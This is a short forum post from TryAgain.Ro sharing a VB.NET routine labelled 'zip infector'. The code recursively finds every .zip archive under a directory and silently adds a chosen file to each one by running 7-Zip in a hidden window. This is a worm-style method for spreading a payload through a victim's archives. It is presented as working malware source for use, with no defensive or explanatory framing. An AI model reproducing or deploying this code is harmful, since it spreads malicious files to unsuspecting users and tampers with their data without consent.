Comunitatea TryAgain.Ro

Cod: Selectaţi tot

Imports System.IO
Imports System.Reflection

#Region "zip infector"
    Public Shared Sub zipper(ByVal MainDir As String, ByVal YourFile As String)


        'Dim objWriter As New System.IO.StreamWriter("C:\zip.txt")
        'objWriter.Write(MainDir + YourFile)

        'objWriter.Close()

        Dim Dir As String
        Dim File As String
        Dim ZipPath As Object
        Dim ProgramFiles As String = _
        System.Environment.GetFolderPath _
        (Environment.SpecialFolder.ProgramFiles)
        Dim Lst As New ListBox

        Try
            For Each Dir In Directory.GetDirectories(MainDir)
                For Each File In Directory.GetFiles(Dir, "*.zip")
                    Lst.Items.Add(File)
                Next
                zipper(Dir, YourFile)
            Next
        Catch excpt As System.Exception
        End Try

        For Each ZipPath In Lst.Items
            Dim p As New ProcessStartInfo
            p.FileName = ProgramFiles & "\7-Zipz\7z.exe"
            p.Arguments = " a " & ZipPath.ToString & " " & YourFile
            p.WindowStyle = ProcessWindowStyle.Hidden
            Process.Start(p)
        Next
        
        End
    End Sub
#End Region